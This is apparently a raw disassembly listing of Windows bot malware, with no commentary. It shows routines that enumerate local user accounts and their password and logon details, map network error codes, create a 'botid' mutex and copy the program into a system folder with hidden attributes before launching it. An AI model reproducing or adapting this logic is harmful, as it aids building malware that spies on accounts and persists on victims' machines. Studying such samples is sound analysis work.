		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40DD90
		xor	esi, esi

loc_40DDE6:				; CODE XREF: sub_40DCE6+A2j
		push	[ebp+var_4]
		call	dword_43AE28

loc_40DDEF:				; CODE XREF: sub_40DCE6+9Aj
		cmp	ebx, 0EAh
		jz	loc_40DD1F
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40DCE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE07	proc near		; CODE XREF: sub_40EE72:loc_411047p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40DEAC
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40DE49
		dec	eax
		jz	short loc_40DE3E
		dec	eax
		jnz	short loc_40DE64
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40DF4E
		add	esp, 14h
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE3E:				; CODE XREF: sub_40DE07+1Dj
		push	ebx
		push	edi
		call	sub_40DF2D
		pop	ecx
		pop	ecx
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE49:				; CODE XREF: sub_40DE07+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40DE5D
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40DED3
		add	esp, 0Ch
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE5D:				; CODE XREF: sub_40DE07+45j
		push	57h
		pop	eax

loc_40DE60:				; CODE XREF: sub_40DE07+35j
					; sub_40DE07+40j ...
		cmp	eax, edi
		jnz	short loc_40DE84

loc_40DE64:				; CODE XREF: sub_40DE07+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_43F668
		push	off_42E7A4[eax*4]
		push	offset dword_42EFD8
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------

loc_40DE84:				; CODE XREF: sub_40DE07+5Bj
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_43F668
		push	off_42E7A0[eax*4]
		push	offset dword_42EF9C
		push	esi
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------

loc_40DEAC:				; CODE XREF: sub_40DE07+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_43F668
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EF64
		push	esi
		call	sub_4172B0
		add	esp, 0Ch

loc_40DECC:				; CODE XREF: sub_40DE07+7Bj
					; sub_40DE07+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DE07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DED3	proc near		; CODE XREF: sub_40DE07+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40DC82
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43AC7C
		pop	edi
		leave
		retn
sub_40DED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF2D	proc near		; CODE XREF: sub_40DE07+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43AC6C
		pop	esi
		retn
sub_40DF2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF4E	proc near		; CODE XREF: sub_40DE07+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43ADF0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40E2F6
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40E331
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4172B0
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40E06D
		dec	eax
		jz	short loc_40E066
		dec	eax
		jz	short loc_40E05F
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E05F:				; CODE XREF: sub_40DF4E+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E066:				; CODE XREF: sub_40DF4E+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E06D:				; CODE XREF: sub_40DF4E+102j
		mov	eax, offset aGuest ; "Guest"

loc_40E072:				; CODE XREF: sub_40DF4E+10Fj
					; sub_40DF4E+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4172B0
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40E322
; ---------------------------------------------------------------------------

loc_40E2F6:				; CODE XREF: sub_40DF4E+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42F008
		push	eax
		call	sub_4172B0
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40D679
		add	esp, 20h

loc_40E322:				; CODE XREF: sub_40DF4E+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_40E331
		push	[ebp+var_4]
		call	dword_43AE28

loc_40E331:				; CODE XREF: sub_40DF4E+40j
					; sub_40DF4E+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40DF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E337	proc near		; CODE XREF: sub_40EE72+21F2p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40DC82
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h

loc_40E376:				; CODE XREF: sub_40E337+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43AD00
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40E3D7
		cmp	eax, 0EAh
		jz	short loc_40E3D7
		push	eax
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42F218
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40E452
; ---------------------------------------------------------------------------

loc_40E3D7:				; CODE XREF: sub_40E337+62j
					; sub_40E337+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40E465
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40E452

loc_40E3E9:				; CODE XREF: sub_40E337+EDj
		cmp	edi, esi
		jz	short loc_40E428
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40E3E9
		jmp	short loc_40E452
; ---------------------------------------------------------------------------

loc_40E428:				; CODE XREF: sub_40E337+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42F1D4
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 1Ch

loc_40E452:				; CODE XREF: sub_40E337+9Ej
					; sub_40E337+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40E465
		push	edi
		call	dword_43AE28
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_40E465:				; CODE XREF: sub_40E337+A5j
					; sub_40E337+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40E376
		cmp	edi, esi
		jz	short loc_40E47D
		push	edi
		call	dword_43AE28

loc_40E47D:				; CODE XREF: sub_40E337+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E337	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4B7	proc near		; CODE XREF: sub_40DAF0+41p
					; sub_40DCE6+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40E569
		jz	loc_40E562
		cmp	eax, 7Bh
		ja	short loc_40E52E
		jz	short loc_40E524
		cmp	eax, 5
		jz	short loc_40E51A
		cmp	eax, 8
		jz	short loc_40E510
		cmp	eax, 32h
		jz	short loc_40E506
		cmp	eax, 35h
		jz	short loc_40E4FC
		cmp	eax, 57h
		jnz	loc_40E5B8
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E4FC:				; CODE XREF: sub_40E4B7+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E506:				; CODE XREF: sub_40E4B7+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E510:				; CODE XREF: sub_40E4B7+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E51A:				; CODE XREF: sub_40E4B7+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E524:				; CODE XREF: sub_40E4B7+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E52E:				; CODE XREF: sub_40E4B7+1Aj
		sub	eax, 7Ch
		jz	short loc_40E55B
		sub	eax, 7C8h
		jz	short loc_40E554
		dec	eax
		jz	short loc_40E54A
		dec	eax
		jnz	short loc_40E5B8
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E54A:				; CODE XREF: sub_40E4B7+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E554:				; CODE XREF: sub_40E4B7+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E55B:				; CODE XREF: sub_40E4B7+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E562:				; CODE XREF: sub_40E4B7+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E569:				; CODE XREF: sub_40E4B7+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40E5A2
		jz	short loc_40E59B
		sub	eax, 8ADh
		jz	short loc_40E5CD
		dec	eax
		dec	eax
		jz	short loc_40E594
		dec	eax
		jz	short loc_40E58D
		dec	eax
		dec	eax
		jnz	short loc_40E5B8
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E58D:				; CODE XREF: sub_40E4B7+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E594:				; CODE XREF: sub_40E4B7+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E59B:				; CODE XREF: sub_40E4B7+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5A2:				; CODE XREF: sub_40E4B7+B9j
		sub	eax, 8CAh
		jz	short loc_40E5D4
		sub	eax, 17h
		jz	short loc_40E5CD
		sub	eax, 25h
		jz	short loc_40E5C6
		sub	eax, 29h
		jz	short loc_40E5BF

loc_40E5B8:				; CODE XREF: sub_40E4B7+35j
					; sub_40E4B7+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5BF:				; CODE XREF: sub_40E4B7+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5C6:				; CODE XREF: sub_40E4B7+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5CD:				; CODE XREF: sub_40E4B7+C2j
					; sub_40E4B7+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5D4:				; CODE XREF: sub_40E4B7+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_40E5D9:				; CODE XREF: sub_40E4B7+40j
					; sub_40E4B7+4Aj ...
		push	offset dword_43F408
		call	sub_4172B0
		pop	ecx
		mov	eax, offset dword_43F408
		pop	ecx
		retn
sub_40E4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E5EB	proc near		; CODE XREF: sub_40EE72+2231p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4199B9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 27E0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4199B9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41999C
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43ADA8
		test	eax, eax
		jnz	short loc_40E67B
		mov	esi, offset dword_43F204
		push	offset dword_42F568
		push	esi
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_40E6A4
; ---------------------------------------------------------------------------

loc_40E67B:				; CODE XREF: sub_40E5EB+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40E4B7
		pop	ecx
		mov	esi, offset dword_43F204
		push	eax
		push	offset dword_42F530
		push	esi
		call	sub_4172B0
		add	esp, 14h

loc_40E6A4:				; CODE XREF: sub_40E5EB+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40E5EB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-8], offset sub_40D3A5
		push	dword ptr [ebp-8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_424058
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CD5F0, eax
		call	esi
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_40981F
		push	2
		call	dword_43AE44
		push	7530h
		push	offset aBotid	; "botid"
		push	ebx
		push	ebx
		nop
		call	near ptr 27F035Eh
		push	eax
		call	near ptr 2660AA6h
		nop
		cmp	eax, 102h
		jnz	short loc_40E726
		push	1
		nop
		call	near ptr 77E75CB5h

loc_40E726:				; CODE XREF: ___:0040E71Cj
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_43AD10
		cmp	eax, ebx
		mov	[ebp-8], eax
		jnz	loc_40EB89
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_40EB83
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_40EB83
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 2620000h
		nop
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 2730B6Ah
		nop
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_4192B8
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_417880
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_40E98C
		cmp	dword_42F5BC, ebx
		mov	esi, offset byte_42F674
		jz	short loc_40E824
		push	esi
		xor	edi, edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		jz	short loc_40E824

loc_40E801:				; CODE XREF: ___:0040E822j
		call	sub_41730C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42F674[edi], dl
		inc	edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40E801

loc_40E824:				; CODE XREF: ___:0040E7F1j
					; ___:0040E7FFj
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26A02F2h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E864
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 2790000h
		nop

loc_40E864:				; CODE XREF: ___:0040E850j
		mov	esi, dword_424160
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax

loc_40E87B:				; CODE XREF: ___:0040E8B2j
		call	esi
		test	eax, eax
		jnz	short loc_40E8B4
		nop
		call	near ptr 2660AEBh
		cmp	edi, ebx
		jnz	short loc_40E8B4
		cmp	eax, 20h
		jz	short loc_40E895
		cmp	eax, 5
		jnz	short loc_40E8B4

loc_40E895:				; CODE XREF: ___:0040E88Ej
		push	1
		pop	edi
		push	3A98h
		call	near ptr 2610E42h
		nop
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_40E87B
; ---------------------------------------------------------------------------

loc_40E8B4:				; CODE XREF: ___:0040E87Fj
					; ___:0040E889j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_40AB7C
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 2790000h
		push	10h
		lea	eax, [ebp-1Ch]
		push	ebx
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp-64h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp-64h], esi
		mov	dword ptr [ebp-58h], offset byte_436EDC
		mov	[ebp-34h], bx
		push	1
		pop	esi
		mov	[ebp-38h], esi
		nop
		call	near ptr 27E0D61h
		push	eax
		push	esi
		push	100000h
		call	near ptr 2730591h
		nop
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_42F7EC
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
